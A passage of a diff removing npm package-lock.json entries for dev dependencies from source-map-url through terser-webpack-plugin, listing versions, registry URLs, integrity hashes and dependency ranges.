"node_modules/source-map-url": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz", - "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=", - "deprecated": "See https://github.com/lydell/source-map-url#deprecated", - "dev": true - }, - "node_modules/spdx-correct": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz", - "integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==", - "dev": true, - "dependencies": { - "spdx-expression-parse": "^3.0.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/spdx-exceptions": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz", - "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==", - "dev": true - }, - "node_modules/spdx-expression-parse": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz", - "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==", - "dev": true, - "dependencies": { - "spdx-exceptions": "^2.1.0", - "spdx-license-ids": "^3.0.0" - } - }, - "node_modules/spdx-license-ids": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz", - "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==", - "dev": true - }, - "node_modules/split-string": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", - "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", - "dev": true, - "dependencies": { - "extend-shallow": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/sprintf-js": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", - "dev": true - }, - "node_modules/ssh2": { - "version": "0.4.15", - "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.4.15.tgz", - "integrity": "sha1-B8b0EG2fe26m5N9jbGxT8fmBf/g=", - "dev": true, - "dependencies": { - "readable-stream": "~1.0.0", - "ssh2-streams": "~0.0.22" - }, - "engines": { - "node": ">=0.8.7" - } - }, - "node_modules/ssh2-streams": { - "version": "0.0.23", - "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.0.23.tgz", - "integrity": "sha1-ru8wgxu1/Er2qj9tCiYaQTUxYSs=", - "dev": true, - "dependencies": { - "asn1": "~0.2.0", - "readable-stream": "~1.0.0", - "streamsearch": "~0.1.2" - }, - "engines": { - "node": ">=0.8.7" - } - }, - "node_modules/ssh2-streams/node_modules/isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true - }, - "node_modules/ssh2-streams/node_modules/readable-stream": { - "version": "1.0.34", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", - "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - }, - "node_modules/ssh2/node_modules/isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", - "dev": true - }, - "node_modules/ssh2/node_modules/readable-stream": { - "version": "1.0.34", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", - "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "0.0.1", - "string_decoder": "~0.10.x" - } - }, - "node_modules/sshpk": { - "version": "1.14.2", - "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.2.tgz", - "integrity": "sha1-xvxhZIo9nE52T9P8306hBeSSupg=", - "dev": true, - "dependencies": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "dashdash": "^1.12.0", - "getpass": "^0.1.1", - "safer-buffer": "^2.0.2" - }, - "bin": { - "sshpk-conv": "bin/sshpk-conv", - "sshpk-sign": "bin/sshpk-sign", - "sshpk-verify": "bin/sshpk-verify" - }, - "engines": { - "node": ">=0.10.0" - }, - "optionalDependencies": { - "bcrypt-pbkdf": "^1.0.0", - "ecc-jsbn": "~0.1.1", - "jsbn": "~0.1.0", - "tweetnacl": "~0.14.0" - } - }, - "node_modules/ssri": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", - "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", - "dev": true, - "dependencies": { - "safe-buffer": "^5.1.1" - } - }, - "node_modules/stable": { - "version": "0.1.8", - "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", - "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", - "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility", - "dev": true - }, - "node_modules/static-extend": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", - "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", - "dev": true, - "dependencies": { - "define-property": "^0.2.5", - "object-copy": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/static-extend/node_modules/define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "dependencies": { - "is-descriptor": "^0.1.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/stdout-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", - "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", - "dev": true, - "dependencies": { - "readable-stream": "^2.0.1" - } - }, - "node_modules/stream-browserify": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.1.tgz", - "integrity": "sha1-ZiZu5fm9uZQKTkUUyvtDu3Hlyds=", - "dev": true, - "dependencies": { - "inherits": "~2.0.1", - "readable-stream": "^2.0.2" - } - }, - "node_modules/stream-buffers": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-2.2.0.tgz", - "integrity": "sha1-kdX1Ew0c75bc+n9yaUUYh0HQnuQ=", - "dev": true, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/stream-combiner2": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/stream-combiner2/-/stream-combiner2-1.1.1.tgz", - "integrity": "sha1-+02KFCDqNidk4hrUeAOXvry0HL4=", - "dev": true, - "dependencies": { - "duplexer2": "~0.1.0", - "readable-stream": "^2.0.2" - } - }, - "node_modules/stream-each": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.2.tgz", - "integrity": "sha512-mc1dbFhGBxvTM3bIWmAAINbqiuAk9TATcfIQC8P+/+HJefgaiTlMn2dHvkX8qlI12KeYKSQ1Ua9RrIqrn1VPoA==", - "dev": true, - "dependencies": { - "end-of-stream": "^1.1.0", - "stream-shift": "^1.0.0" - } - }, - "node_modules/stream-http": { - "version": "2.7.2", - "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-2.7.2.tgz", - "integrity": "sha1-QKBQ7I3DtTsz2ZCUFcAsC/Gr+60=", - "dev": true, - "dependencies": { - "builtin-status-codes": "^3.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.2.6", - "to-arraybuffer": "^1.0.0", - "xtend": "^4.0.0" - } - }, - "node_modules/stream-shift": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.0.tgz", - "integrity": "sha1-1cdSgl5TZ+eG944Y5EXqIjoVWVI=", - "dev": true - }, - "node_modules/stream-splicer": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/stream-splicer/-/stream-splicer-2.0.0.tgz", - "integrity": "sha1-G2O+Q4oTPktnHMGTUZdgAXWRDYM=", - "dev": true, - "dependencies": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.2" - } - }, - "node_modules/streamsearch": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", - "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=", - "dev": true, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/strict-uri-encode": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", - "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/string_decoder": { - "version": "0.10.31", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", - "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ=", - "dev": true - }, - "node_modules/string-template": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/string-template/-/string-template-0.2.1.tgz", - "integrity": "sha1-QpMuWYo1LQH8IuwzZ9nYTuxsmt0=", - "dev": true - }, - "node_modules/string-to-js": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/string-to-js/-/string-to-js-0.0.1.tgz", - "integrity": "sha1-vxU8dgY2+qMHabgEoBlVUrp62A8=", - "dev": true - }, - "node_modules/string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, - "dependencies": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/string-width/node_modules/ansi-regex": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", - "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/string-width/node_modules/strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-ansi": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", - "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dependencies": { - "ansi-regex": "^2.0.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-bom": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", - "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", - "dev": true, - "dependencies": { - "is-utf8": "^0.2.0" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-eof": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", - "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-indent": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz", - "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", - "dev": true, - "dependencies": { - "get-stdin": "^4.0.1" - }, - "bin": { - "strip-indent": "cli.js" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-json-comments": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/style-loader": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-0.19.1.tgz", - "integrity": "sha512-IRE+ijgojrygQi3rsqT0U4dd+UcPCqcVvauZpCnQrGAlEe+FUIyrK93bUDScamesjP08JlQNsFJU+KmPedP5Og==", - "dev": true, - "dependencies": { - "loader-utils": "^1.0.2", - "schema-utils": "^0.3.0" - }, - "engines": { - "node": ">= 0.12.0" - } - }, - "node_modules/style-loader/node_modules/schema-utils": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-0.3.0.tgz", - "integrity": "sha1-9YdyIs4+kx7a4DnxfrNxbnE3+M8=", - "dev": true, - "dependencies": { - "ajv": "^5.0.0" - }, - "engines": { - "node": ">= 4.3 < 5.0.0 || >= 5.10" - } - }, - "node_modules/stylehacks": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-4.0.0.tgz", - "integrity": "sha1-ZLMjlRxKJOX8ey7AbBN78y0VXoo=", - "dev": true, - "dependencies": { - "browserslist": "^4.0.0", - "postcss": "^6.0.0", - "postcss-selector-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/stylehacks/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/stylehacks/node_modules/browserslist": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.0.1.tgz", - "integrity": "sha512-QqiiIWchEIkney3wY53/huI7ZErouNAdvOkjorUALAwRcu3tEwOV3Sh6He0DnP38mz1JjBpCBb50jQBmaYuHPw==", - "dev": true, - "dependencies": { - "caniuse-lite": "^1.0.30000865", - "electron-to-chromium": "^1.3.52", - "node-releases": "^1.0.0-alpha.10" - }, - "bin": { - "browserslist": "cli.js" - } - }, - "node_modules/stylehacks/node_modules/caniuse-lite": { - "version": "1.0.30000865", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30000865.tgz", - "integrity": "sha512-vs79o1mOSKRGv/1pSkp4EXgl4ZviWeYReXw60XfacPU64uQWZwJT6vZNmxRF9O+6zu71sJwMxLK5JXxbzuVrLw==", - "dev": true - }, - "node_modules/stylehacks/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/stylehacks/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/stylehacks/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/stylehacks/node_modules/electron-to-chromium": { - "version": "1.3.52", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.52.tgz", - "integrity": "sha1-0tnxJwuko7lnuDHEDvcftNmrXOA=", - "dev": true - }, - "node_modules/stylehacks/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/stylehacks/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/stylehacks/node_modules/postcss-selector-parser": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", - "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", - "dev": true, - "dependencies": { - "dot-prop": "^4.1.1", - "indexes-of": "^1.0.1", - "uniq": "^1.0.1" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/stylehacks/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/stylehacks/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/subarg": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/subarg/-/subarg-1.0.0.tgz", - "integrity": "sha1-9izxdYHplrSPyWVpn1TAauJouNI=", - "dev": true, - "dependencies": { - "minimist": "^1.1.0" - } - }, - "node_modules/supports-color": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/svgo": { - "version": "0.7.2", - "resolved": "https://registry.npmjs.org/svgo/-/svgo-0.7.2.tgz", - "integrity": "sha1-n1dyQTlSE1xv779Ar+ak+qiLS7U=", - "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.", - "dev": true, - "dependencies": { - "coa": "~1.0.1", - "colors": "~1.1.2", - "csso": "~2.3.1", - "js-yaml": "~3.7.0", - "mkdirp": "~0.5.1", - "sax": "~1.2.1", - "whet.extend": "~0.9.9" - }, - "bin": { - "svgo": "bin/svgo" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/syntax-error": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/syntax-error/-/syntax-error-1.4.0.tgz", - "integrity": "sha512-YPPlu67mdnHGTup2A8ff7BC2Pjq0e0Yp/IyTFN03zWO0RcK07uLcbi7C2KpGR2FvWbaB0+bfE27a+sBKebSo7w==", - "dev": true, - "dependencies": { - "acorn-node": "^1.2.0" - } - }, - "node_modules/table": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/table/-/table-4.0.2.tgz", - "integrity": "sha512-UUkEAPdSGxtRpiV9ozJ5cMTtYiqz7Ni1OGqLXRCynrvzdtR1p+cfOWe2RJLwvUG8hNanaSRjecIqwOjqeatDsA==", - "dev": true, - "dependencies": { - "ajv": "^5.2.3", - "ajv-keywords": "^2.1.0", - "chalk": "^2.1.0", - "lodash": "^4.17.4", - "slice-ansi": "1.0.0", - "string-width": "^2.1.1" - } - }, - "node_modules/table/node_modules/ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/table/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/table/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/table/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/table/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/table/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/table/node_modules/is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/table/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/table/node_modules/string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha1-q5Pyeo3BPSjKyBXEYhQ6bZASrp4=", - "dev": true, - "dependencies": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/table/node_modules/strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "dependencies": { - "ansi-regex": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/table/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/tapable": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", - "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", - "dev": true, - "engines": { - "node": ">=6" - } - }, - "node_modules/tar": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.1.tgz", - "integrity": "sha1-jk0qJWwOIYXGsYrWlK7JaLg8sdE=", - "deprecated": "This version of tar is no longer supported, and will not receive security updates. Please upgrade asap.", - "dev": true, - "dependencies": { - "block-stream": "*", - "fstream": "^1.0.2", - "inherits": "2" - } - }, - "node_modules/tar-fs": { - "version": "1.16.0", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-1.16.0.tgz", - "integrity": "sha512-I9rb6v7mjWLtOfCau9eH5L7sLJyU2BnxtEZRQ5Mt+eRKmf1F0ohXmT/Jc3fr52kDvjJ/HV5MH3soQfPL5bQ0Yg==", - "dev": true, - "optional": true, - "dependencies": { - "chownr": "^1.0.1", - "mkdirp": "^0.5.1", - "pump": "^1.0.0", - "tar-stream": "^1.1.2" - } - }, - "node_modules/tar-fs/node_modules/pump": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/pump/-/pump-1.0.3.tgz", - "integrity": "sha512-8k0JupWme55+9tCVE+FS5ULT3K6AbgqrGa58lTT49RpyfwwcGedHqaC5LlQNdEAumn/wFsu6aPwkuPMioy8kqw==", - "dev": true, - "optional": true, - "dependencies": { - "end-of-stream": "^1.1.0", - "once": "^1.3.1" - } - }, - "node_modules/tar-stream": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.5.5.tgz", - "integrity": "sha512-mQdgLPc/Vjfr3VWqWbfxW8yQNiJCbAZ+Gf6GDu1Cy0bdb33ofyiNGBtAY96jHFhDuivCwgW1H9DgTON+INiXgg==", - "dev": true, - "dependencies": { - "bl": "^1.0.0", - "end-of-stream": "^1.0.0", - "readable-stream": "^2.0.0", - "xtend": "^4.0.0" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/terser": { - "version": "4.8.0", - "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", - "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==", - "dev": true, - "dependencies": { - "commander": "^2.20.0", - "source-map": "~0.6.1", - "source-map-support": "~0.5.12" - }, - "bin": { - "terser": "bin/terser" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/terser-webpack-plugin": { - "version": "1.4.4", - "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.4.tgz", - "integrity": "sha512-U4mACBHIegmfoEe5fdongHESNJWqsGU+W0S/9+BmYGVQDw1+c2Ow05TpMhxjPK1sRb7cuYq1BPl1e5YHJMTCqA==", - "dev": true, - "dependencies": { - "cacache": "^12.0.2", - "find-cache-dir": "^2.1.0", - "is-wsl": "^1.1.0", - "schema-utils": "^1.0.0", - "serialize-javascript": "^3.1.0", - "source-map": "^0.6.1", - "terser": "^4.1.2", - "webpack-sources": "^1.4.0", - "worker-farm": "^1.7.0" - }, - "engines": { - "node": ">= 6.9.0" - }, - "peerDependencies": { - "webpack": "^4.0.0" - } - }, - "node_modules/terser-webpack-plugin/node_modules/ajv": { - "version": "6.12.3", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.3.tgz", - "integrity": "sha512-4K0cK3L1hsqk9xIb2z9vs/XU+PGJZ9PNpJRDS9YLzmNdX6jmVPfamLvTJr0aDAusnHyCHO6MjzlkAsgtqp9teA==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - 